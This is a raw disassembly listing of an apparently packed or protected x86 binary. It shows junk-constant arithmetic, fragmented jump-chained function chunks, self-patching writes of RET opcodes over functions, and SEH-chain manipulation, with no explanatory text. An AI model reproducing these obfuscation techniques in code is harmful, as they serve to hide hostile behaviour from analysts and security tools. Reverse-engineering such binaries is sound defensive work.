		lea	eax, sub_43E0A9
		mov	byte ptr [eax],	0C3h
		jmp	sub_43E0A9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E0A9

loc_44BA17:				; CODE XREF: sub_43E0A9j
		pop	edx
		mov	eax, [esp-4+arg_0]
		push	edx
		jmp	loc_444F50
; END OF FUNCTION CHUNK	FOR sub_43E0A9

; =============== S U B	R O U T	I N E =======================================



sub_44BA21	proc near		; DATA XREF: y22d6.y.:0043F96Bo

; FUNCTION CHUNK AT 0043D0B5 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00449734 SIZE 00000005 BYTES

		mov	eax, edx
		call	sub_43BE66
		mov	eax, [esp+0]
		push	ecx
		push	87BE6FDAh
		pop	ecx
		jmp	loc_449734
sub_44BA21	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4385ED

loc_44BA37:				; CODE XREF: sub_4385ED:loc_441925j
					; sub_444DB4:loc_44DCADj
		mov	eax, [ebp-14h]
		mov	eax, [eax+20h]
		add	eax, [ebp-4]
		xor	edx, edx
		push	edx
		push	eax
		mov	eax, [ebp-18h]
		jmp	loc_4408E5
; END OF FUNCTION CHUNK	FOR sub_4385ED
; ---------------------------------------------------------------------------
		mov	eax, [esi]
		jmp	loc_446255
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_305. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44370B

loc_44BA54:				; CODE XREF: sub_44370B+Aj
		jmp	loc_43D760
; END OF FUNCTION CHUNK	FOR sub_44370B
; ---------------------------------------------------------------------------

loc_44BA59:				; CODE XREF: y22d6.y.:0043D6D1j
		jmp	loc_44A819
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CC60

loc_44BA5E:				; CODE XREF: sub_43CC60+Aj
		jmp	nullsub_185
; END OF FUNCTION CHUNK	FOR sub_43CC60
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440280

loc_44BA63:				; CODE XREF: sub_440280-8D05j
					; sub_440280:loc_43FC52j ...
		call	sub_43FBC3

loc_44BA68:				; CODE XREF: sub_4444CE+29j
		jmp	sub_43E913
; END OF FUNCTION CHUNK	FOR sub_440280
; ---------------------------------------------------------------------------

loc_44BA6D:				; CODE XREF: y22d6.y.:loc_445B8Bj
		push	eax
		mov	edx, eax
; START	OF FUNCTION CHUNK FOR sub_43DCC0

loc_44BA70:				; CODE XREF: sub_43DCC0:loc_444C06j
		push	edx
		push	0C6EB0BCEh
		jmp	loc_4472CE
; END OF FUNCTION CHUNK	FOR sub_43DCC0

; =============== S U B	R O U T	I N E =======================================



sub_44BA7B	proc near		; CODE XREF: y22d6.y.:0043B51Aj
					; sub_448EB6:loc_442100p

arg_0		= dword	ptr  4

		xchg	ecx, [esp+0]
		pop	ecx
		add	eax, 683ACF5h
		xchg	eax, [esp-4+arg_0]
		jmp	sub_4463CE
sub_44BA7B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44BA8D	proc near		; DATA XREF: sub_44A9DF:loc_44E507o

; FUNCTION CHUNK AT 0043D990 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	ds:dword_441950, 0
		push	offset loc_446E0A
		jmp	loc_43D990
sub_44BA8D	endp

; ---------------------------------------------------------------------------
		sub	edi, 0FC6CBB6h
		jmp	loc_4498D9
; ---------------------------------------------------------------------------
		push	edi
		jmp	sub_449CBB
; ---------------------------------------------------------------------------

loc_44BAB3:				; CODE XREF: y22d6.y.:0043CAD7j
		jns	loc_4384FD
		add	ebp, 27861197h
		sbb	edx, edi

loc_44BAC1:				; CODE XREF: y22d6.y.:004461DEj
		sub	ebx, eax
		jmp	loc_43BF25

; =============== S U B	R O U T	I N E =======================================



sub_44BAC8	proc near		; CODE XREF: sub_449641-112F3p
					; y22d6.y.:0043E78Fj

; FUNCTION CHUNK AT 00449323 SIZE 0000000A BYTES

		xchg	esi, [esp+0]
		pop	esi
		mov	edx, [edx]
		call	sub_448EB6

loc_44BAD3:				; CODE XREF: sub_43EC01+5E27j
					; y22d6.y.:00447115j
		jmp	loc_449323
sub_44BAC8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442DA6

loc_44BAD8:				; CODE XREF: sub_442DA6+8j
		jmp	loc_43F215
; END OF FUNCTION CHUNK	FOR sub_442DA6

; =============== S U B	R O U T	I N E =======================================



sub_44BADD	proc near		; CODE XREF: sub_4455ED+7p
					; y22d6.y.:004488B5j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00446F84 SIZE 00000004 BYTES

		xchg	edi, [esp-4+arg_0]
		pop	edi
		xchg	edx, [esp+0]

loc_44BAE4:				; CODE XREF: y22d6.y.:00446F5Bj
		push	0EB8C65BFh
		pop	edi
		rol	edi, 0Fh
		xor	edi, 0C0227F31h
		add	edi, 0D468D51h
		jmp	loc_446F84
sub_44BADD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44BAFE:				; CODE XREF: y22d6.y.:loc_4446D5j
					; y22d6.y.:004446DEj
		and	ebx, ds:4000E6h
		add	ebx, 29519CB4h
		test	ebx, 10000h
		jmp	loc_43983C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A28E

loc_44BB15:				; CODE XREF: sub_43A28E:loc_449AEDj
		and	ebx, 0BA2DC6A4h
		push	offset loc_443A87
		jmp	nullsub_188
; END OF FUNCTION CHUNK	FOR sub_43A28E
; ---------------------------------------------------------------------------

loc_44BB25:				; CODE XREF: y22d6.y.:0044633Aj
		pop	eax
		xor	eax, 0F6ECCD47h
		cmp	eax, 530F0130h
		jmp	loc_44B575
; ---------------------------------------------------------------------------

loc_44BB37:				; CODE XREF: y22d6.y.:loc_43A33Aj
		push	offset sub_4437B8
		jmp	locret_448D30
; ---------------------------------------------------------------------------
		jnb	loc_44BE74
		pop	edx
		mov	eax, [esp]
		call	sub_43A8EF
; START	OF FUNCTION CHUNK FOR sub_4450FD

loc_44BB50:				; CODE XREF: sub_4450FD:loc_44C0C3j
					; y22d6.y.:0044C8E4j
		jmp	loc_449062
; END OF FUNCTION CHUNK	FOR sub_4450FD
; ---------------------------------------------------------------------------

loc_44BB55:				; CODE XREF: y22d6.y.:004402AFj
		jmp	loc_43CA39
; ---------------------------------------------------------------------------

loc_44BB5A:				; DATA XREF: sub_43B98D+852Bo
		mov	edx, [ebp+8]
		mov	[edx-18h], eax
		inc	dword ptr [ebp-4]
		mov	eax, [ebp+8]
; START	OF FUNCTION CHUNK FOR sub_444F37

loc_44BB66:				; CODE XREF: sub_444F37:loc_43A0F9j
		mov	eax, [eax-18h]
		and	eax, 7
		jmp	loc_446375
; END OF FUNCTION CHUNK	FOR sub_444F37
; ---------------------------------------------------------------------------
		push	eax
		ror	eax, 11h
		push	esi
		push	0A85DED2Bh
		pop	esi
		jmp	loc_437504

; =============== S U B	R O U T	I N E =======================================



sub_44BB81	proc near		; CODE XREF: sub_441191-5CECp
					; y22d6.y.:004443C9j ...
		xchg	esi, [esp+0]
		pop	esi
		ror	eax, 12h
		call	sub_43FCB6
sub_44BB81	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_445F44

loc_44BB8D:				; CODE XREF: sub_445F44+3j
		jmp	sub_440F6A
; END OF FUNCTION CHUNK	FOR sub_445F44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D6D0

loc_44BB92:				; CODE XREF: sub_44D6D0:loc_43DD14j
		xchg	ebp, [esp+0]
		push	0A6F98AECh
		pop	edx
		rol	edx, 9
		jmp	loc_43D617
; END OF FUNCTION CHUNK	FOR sub_44D6D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4476DE

loc_44BBA3:				; CODE XREF: sub_4476DE:loc_44D12Bj
		call	sub_43CA1A
		push	ecx
		push	0F4C16CBAh
		pop	ecx
		xor	ecx, 6BFCC698h
		jmp	loc_440B8C
; END OF FUNCTION CHUNK	FOR sub_4476DE

; =============== S U B	R O U T	I N E =======================================



sub_44BBBA	proc near		; CODE XREF: y22d6.y.:00441D79j
					; sub_442770+918Dp

; FUNCTION CHUNK AT 0043773D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00438130 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00438220 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00438D9F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00439017 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00439D1D SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0043A908 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043AA86 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0043B58A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B69A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043E05A SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0043F7F5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043FA4B SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00440A9C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 004422DC SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00442E6D SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044523D SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00445DA7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A499 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044AB17 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0044B966 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B9E8 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		inc	dword ptr [ebp-28h]
		mov	eax, [ebp-28h]
		mov	byte ptr [eax],	0
		inc	dword ptr [ebp-24h]
		jmp	loc_44A499
sub_44BBBA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44BBCF:				; CODE XREF: y22d6.y.:00439B41j
		jbe	loc_43C245
		not	eax
; START	OF FUNCTION CHUNK FOR sub_440CE6

loc_44BBD7:				; CODE XREF: sub_440CE6-507Bj
		or	eax, 46787C20h
		add	eax, 0A419C6D3h
		push	ecx

loc_44BBE4:				; CODE XREF: y22d6.y.:loc_43DF32j
		push	793221EBh
		xchg	eax, [esp+8+var_8]
		mov	ecx, eax
		jmp	loc_44353F
; END OF FUNCTION CHUNK	FOR sub_440CE6
; ---------------------------------------------------------------------------
		push	0C750C0h
		jmp	loc_44DCB7
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_107. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44BBFE:				; CODE XREF: y22d6.y.:0044898Cj
		jmp	sub_440AF5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_44BC03:				; CODE XREF: sub_448EB6:loc_448D87j
					; y22d6.y.:00448D9Bj
		add	edi, 0E10EE245h
		mov	[edi], eax
		pop	edi
		lea	eax, sub_438FBB
		mov	byte ptr [eax],	0C3h
		jmp	loc_44A86D
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------

loc_44BC1A:				; CODE XREF: y22d6.y.:loc_43B8D2j
		mov	eax, [esp]
		jmp	loc_4410FE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DA4B

loc_44BC22:				; CODE XREF: sub_44DA4B+13j
		pop	eax
		sub	eax, 995DCEE0h
		add	eax, 0A0C4FC5Bh
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_43D76F
		jmp	loc_43C726
; END OF FUNCTION CHUNK	FOR sub_44DA4B
; ---------------------------------------------------------------------------

loc_44BC3E:				; CODE XREF: y22d6.y.:0043A18Dj
		pop	ebx
		xor	ebx, 0A131E2Ch
		cmp	ebx, 0B529C4A5h
		jmp	loc_43B20B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439E63

loc_44BC50:				; CODE XREF: sub_439E63+AA5Fj
		lea	eax, sub_439E63
		mov	byte ptr [eax],	0C3h
		jmp	loc_44D407
; ---------------------------------------------------------------------------

loc_44BC5E:				; CODE XREF: sub_439E63+1j
		mov	eax, [esp-4+arg_0]
		call	sub_441DA7

loc_44BC66:				; CODE XREF: sub_449BBC+10j
		jmp	loc_447E8C
; END OF FUNCTION CHUNK	FOR sub_439E63
; ---------------------------------------------------------------------------

loc_44BC6B:				; CODE XREF: y22d6.y.:004399AEj
		jmp	loc_44105E
; ---------------------------------------------------------------------------
		mov	eax, 201E933Eh
		push	eax
		push	0E4EEEAA6h
		pop	eax
		and	eax, 0B819A7A0h
		xor	eax, 7F8FE30h
		sub	eax, 972E550Ch
		rol	eax, 2
		jmp	loc_441E00
; ---------------------------------------------------------------------------

loc_44BC96:				; CODE XREF: y22d6.y.:loc_442EF5j
		mov	edx, eax
; START	OF FUNCTION CHUNK FOR sub_44B267

loc_44BC98:				; CODE XREF: y22d6.y.:0043850Aj
					; sub_44B267:loc_438808j
		call	sub_44D088
		push	ebx
		push	6EED6ED2h
		add	ebx, 9A83D248h
		jmp	loc_43BC71
; END OF FUNCTION CHUNK	FOR sub_44B267

; =============== S U B	R O U T	I N E =======================================



sub_44BCAE	proc near		; DATA XREF: sub_44AA69:loc_44B2AEo
		mov	edx, [esp+0]
		mov	al, 1
		call	edx	; GetModuleHandleA
		xor	eax, eax
		retn
sub_44BCAE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44193A

loc_44BCB8:				; CODE XREF: sub_44193A+8FBEj
		jmp	loc_44C555
; END OF FUNCTION CHUNK	FOR sub_44193A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4443AD

loc_44BCBD:				; CODE XREF: y22d6.y.:0043968Ej
					; sub_4443AD+Fj
		jmp	loc_440A66
; END OF FUNCTION CHUNK	FOR sub_4443AD

; =============== S U B	R O U T	I N E =======================================



sub_44BCC2	proc near		; CODE XREF: sub_43ED31:loc_437F35p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00437D08 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00437FEE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00438846 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 004388C9 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00438D4F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004396BD SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043AA1F SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043AC74 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B0D8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043B3A1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B55B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043B851 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043BADE SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0043D3B5 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043E440 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0043EA3B SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0043F542 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043FE53 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00440AA4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00441579 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00441748 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00441D7E SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00441E44 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0044200B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044291B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00442F21 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00443E3C SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00443FCE SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00444E09 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044507F SIZE 00000001 BYTES
; FUNCTION CHUNK AT 00445851 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00445F2D SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00446E43 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00447374 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00447A4D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00448844 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00448CB2 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 00449269 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0044966C SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044A260 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A3B2 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044B4C6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B91A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044C03E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044C3E6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044CE0E SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0044D422 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D4F7 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0044D762 SIZE 00000011 BYTES

		push	edx
		jmp	loc_4396BD
sub_44BCC2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44BCC8:				; CODE XREF: y22d6.y.:loc_44153Bj
		jz	loc_44953E
		mov	eax, [esp]
		push	edx
		push	ebx
		mov	ebx, eax
		jmp	loc_4427F0
; ---------------------------------------------------------------------------
		jnb	loc_4481BF
		rol	ebp, 9
		jmp	sub_44A3E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43946E

loc_44BCE8:				; CODE XREF: sub_43946E+6j
		pop	edx
		xor	edx, 44D82080h
		add	edx, 3C2E5044h
		xchg	edx, [esp+4+var_4]
		jmp	loc_447D50
; END OF FUNCTION CHUNK	FOR sub_43946E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448BA0

loc_44BCFD:				; CODE XREF: sub_448BA0+12j
		sub	eax, 2B2FD314h
		and	eax, 266DDC76h
		call	sub_448C77

loc_44BD0E:				; CODE XREF: sub_4373B9+A3C2j
		jmp	loc_438F1D
; END OF FUNCTION CHUNK	FOR sub_448BA0
; ---------------------------------------------------------------------------
		db 0F7h
; ---------------------------------------------------------------------------
		rol	byte ptr [edx-160E70A7h], 0DBh
		adc	edi, edi
		call	fword ptr [ebp-7Fh] ; CODE XREF: y22d6.y.:loc_44E19Ej
		enter	1224h, 3Dh
		pop	ecx
		rol	eax, 13h
		xor	eax, 0F3EE5031h
		add	eax, 0D9B7DD1Eh
		xchg	eax, [esp]
		jmp	sub_43760A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C7C1

loc_44BD3C:				; CODE XREF: sub_43C7C1+FBCCj
		js	loc_443AAD

loc_44BD42:				; CODE XREF: sub_43C7C1+FBBFj
		add	ecx, 7B20ED63h
		rol	ecx, 1
		xor	ecx, 688CA45Bh
		add	ecx, 8F5481C0h
		mov	[ecx], eax
		pop	ecx
		lea	eax, sub_43BCA9
		jmp	loc_44456C
; END OF FUNCTION CHUNK	FOR sub_43C7C1
; ---------------------------------------------------------------------------
		cmp	edi, ebp
		jmp	loc_440558
; ---------------------------------------------------------------------------

loc_44BD6B:				; DATA XREF: sub_43837F+121A4o
		mov	eax, ds:dword_44697C+30h[eax*4]
		mov	[ebp-8], eax
; START	OF FUNCTION CHUNK FOR sub_43837F

loc_44BD75:				; CODE XREF: sub_43837F+D1EEj
					; sub_43837F+EF87j
		call	sub_44CB3F
; END OF FUNCTION CHUNK	FOR sub_43837F
; START	OF FUNCTION CHUNK FOR sub_43CA1A

loc_44BD7A:				; CODE XREF: sub_43CA1A+55EBj
		jmp	loc_43F8A4
; END OF FUNCTION CHUNK	FOR sub_43CA1A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44633F

loc_44BD7F:				; CODE XREF: sub_44633F:loc_449DE0j
		jge	loc_43A657
		cmp	edi, 310E8BAFh
		jmp	loc_43DB40
; END OF FUNCTION CHUNK	FOR sub_44633F
; ---------------------------------------------------------------------------

locret_44BD90:				; CODE XREF: y22d6.y.:0044805Cj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_44BD91:				; CODE XREF: sub_448EB6:loc_442A67j
					; y22d6.y.:loc_44E10Dj
		jmp	loc_442470
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B17B

loc_44BD96:				; CODE XREF: sub_44B17B-DBB1j
		jmp	nullsub_192
; END OF FUNCTION CHUNK	FOR sub_44B17B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4475B3

loc_44BD9B:				; CODE XREF: sub_4475B3:loc_4391C1j
		jl	loc_44B414

loc_44BDA1:				; CODE XREF: y22d6.y.:00442883j
		jmp	loc_4372C8
; END OF FUNCTION CHUNK	FOR sub_4475B3
; ---------------------------------------------------------------------------
		jns	loc_445BAC
		add	ecx, 5B3490E8h
		xchg	edx, [edi]
		jmp	loc_44B414
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_44BDB9:				; CODE XREF: sub_448EB6-6F3Aj
		test	eax, 4C8FB045h
		jmp	loc_44707B
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------

loc_44BDC4:				; CODE XREF: y22d6.y.:0044D72Bj
		jl	loc_4453ED
		xchg	edi, edx
		adc	esi, 0E5D7265Ah
		jmp	loc_437661
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_44BDD7:				; CODE XREF: sub_448EB6+9A3j
		and	eax, 0BEDF88DFh
		xor	eax, 0C338C65Bh
		push	esi
		pushf
		push	offset sub_437D47
		jmp	nullsub_359
; END OF FUNCTION CHUNK	FOR sub_448EB6
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_31. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44BDF0:				; CODE XREF: y22d6.y.:0043EC4Cj
		jmp	loc_4412A8
; ---------------------------------------------------------------------------

loc_44BDF5:				; DATA XREF: y22d6.y.:0043F85Fo
		call	sub_43CA1A
		push	ebx
		push	0A4F49F04h
		pop	ebx
		xor	ebx, 0F3068CE3h
		jnz	loc_44965E

loc_44BE0D:				; CODE XREF: y22d6.y.:00438B8Ej
		test	ebx, esi
		jmp	loc_4450F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C6D7

loc_44BE14:				; CODE XREF: sub_43C6D7-55E5j
		or	esi, ebp
		cmp	esi, edx
		jmp	loc_440035
; END OF FUNCTION CHUNK	FOR sub_43C6D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444A91

loc_44BE1D:				; CODE XREF: sub_444A91+CCAj
					; y22d6.y.:0044577Cj
		sub	edi, 0B7046E4Fh
		and	edi, 0CBBD2373h
		test	edi, 400000h
		jmp	loc_448DD9
; END OF FUNCTION CHUNK	FOR sub_444A91
; ---------------------------------------------------------------------------
		pop	large dword ptr	fs:0
		add	esp, 4
		push	offset loc_44A1C1
		jmp	loc_44459D
; ---------------------------------------------------------------------------

loc_44BE48:				; CODE XREF: y22d6.y.:0044C78Fj
		js	loc_4459DD
		sbb	esi, 169CEBCAh
		jnp	loc_4390F1
		pop	esi
		jmp	loc_439E94
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BEF7

loc_44BE60:				; CODE XREF: sub_43BEF7+36B2j
		mov	ds:dword_41E0B4, eax
		lea	eax, nullsub_7
		mov	byte ptr [eax],	0C3h
		jmp	loc_4489D0
; END OF FUNCTION CHUNK	FOR sub_43BEF7
; ---------------------------------------------------------------------------

loc_44BE74:				; CODE XREF: y22d6.y.:0044BB41j
		pop	edx
		jmp	loc_443159
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F8FE

loc_44BE7A:				; CODE XREF: sub_43F8FE-7C6Fj
		mov	[ebp-8], eax
		mov	eax, [ebp+8]
		call	loc_4433CF

loc_44BE85:				; CODE XREF: y22d6.y.:00445D66j
		pop	eax
		sub	eax, 0B575C8B0h
		xor	eax, 1B87269Fh
		or	eax, 5AA98F8Fh
		xor	eax, 8743432Ah
		add	ebx, eax
		pop	eax
		jmp	loc_437593
; END OF FUNCTION CHUNK	FOR sub_43F8FE

; =============== S U B	R O U T	I N E =======================================



sub_44BEA6	proc near		; CODE XREF: sub_442FA7:loc_437AD6p
					; y22d6.y.:0044B18Aj
		xchg	ebx, [esp+0]
		pop	ebx
		mov	edx, eax

loc_44BEAC:				; CODE XREF: sub_448422+6j
		push	esi
		push	offset loc_445FC7
		jmp	nullsub_319
sub_44BEA6	endp

; ---------------------------------------------------------------------------
		jge	loc_4382A4
		jmp	loc_43A733
; ---------------------------------------------------------------------------

loc_44BEC2:				; DATA XREF: sub_43A041+A276o
		mov	ecx, [ebx+edx-8]
		or	ecx, ecx
		jz	loc_44A936
		call	sub_4485B6
		jnz	loc_43CBBD
		mov	ecx, [ebx+edx-4]
		or	ecx, ecx
		jmp	loc_440428
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439A90

loc_44BEE4:				; CODE XREF: sub_439A90+9j
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_43BF27
		jmp	loc_43E134
; END OF FUNCTION CHUNK	FOR sub_439A90
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449F8E

loc_44BEF8:				; CODE XREF: sub_449F8E:loc_44477Aj
		push	edx
		push	9859F8E6h
		pop	edx
		rol	edx, 7
		jmp	loc_44C14E
; END OF FUNCTION CHUNK	FOR sub_449F8E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44057E

loc_44BF07:				; CODE XREF: sub_44057E:loc_43B6CCj
		or	eax, 6978FB22h
		rol	eax, 1Fh
		or	eax, 0BA602A1Fh
		add	eax, 5CE3A83Ah
		jmp	loc_448D31
; END OF FUNCTION CHUNK	FOR sub_44057E
; ---------------------------------------------------------------------------

loc_44BF21:				; CODE XREF: y22d6.y.:loc_43EBC3j
		and	edx, 0D251D19Ch
		jnz	loc_441187
		and	edx, 44664DA7h
		rol	esi, 0Eh
		jmp	loc_441187
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AEDA

loc_44BF3B:				; CODE XREF: sub_44AEDA:loc_439D12j
					; sub_44AEDA+4D2j
		mov	eax, [ebp-24h]
		push	15E780D9h
		pop	ecx
		rol	ecx, 1Fh
		jmp	loc_439842
; END OF FUNCTION CHUNK	FOR sub_44AEDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C55B

loc_44BF4C:				; CODE XREF: sub_43C55B:loc_444CB9j
					; y22d6.y.:0044BFA9j
		add	eax, 4BCCFE97h
		add	ecx, eax
		pop	eax
		mov	ecx, [ecx]
		call	sub_437712
; END OF FUNCTION CHUNK	FOR sub_43C55B
; START	OF FUNCTION CHUNK FOR sub_44313A

loc_44BF5C:				; CODE XREF: sub_44313A+Ej
		jmp	loc_4437A8
; END OF FUNCTION CHUNK	FOR sub_44313A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_125. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A58D

loc_44BF62:				; CODE XREF: sub_43A58D+11067j
		jmp	loc_437D3D
; END OF FUNCTION CHUNK	FOR sub_43A58D
; ---------------------------------------------------------------------------

loc_44BF67:				; CODE XREF: y22d6.y.:004383BBj
		jmp	loc_43A4DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44997F

loc_44BF6C:				; CODE XREF: sub_44997F:loc_44D1D1j
		call	sub_443EA2
		push	offset sub_44808E
		jmp	loc_43A647
; END OF FUNCTION CHUNK	FOR sub_44997F

; =============== S U B	R O U T	I N E =======================================



sub_44BF7B	proc near		; CODE XREF: sub_43B201+5p
					; y22d6.y.:0044E5E8j
		xchg	esi, [esp+0]
		pop	esi
		call	sub_44C171
		or	eax, eax
		jnz	loc_447238
		jmp	loc_4389DE
sub_44BF7B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_44BF91	proc near		; DATA XREF: sub_448EB6:loc_43D2F9o

; FUNCTION CHUNK AT 00437A93 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00438B93 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00439689 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D652 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F547 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00448559 SIZE 00000013 BYTES

		pop	ebx
		rol	eax, 17h
		xor	eax, 39C2189Dh
		push	esi
		jmp	loc_43F547
sub_44BF91	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44BFA1:				; CODE XREF: y22d6.y.:loc_444CD3j
		jp	loc_441878
		cdq
		push	esi
		jmp	loc_44BF4C
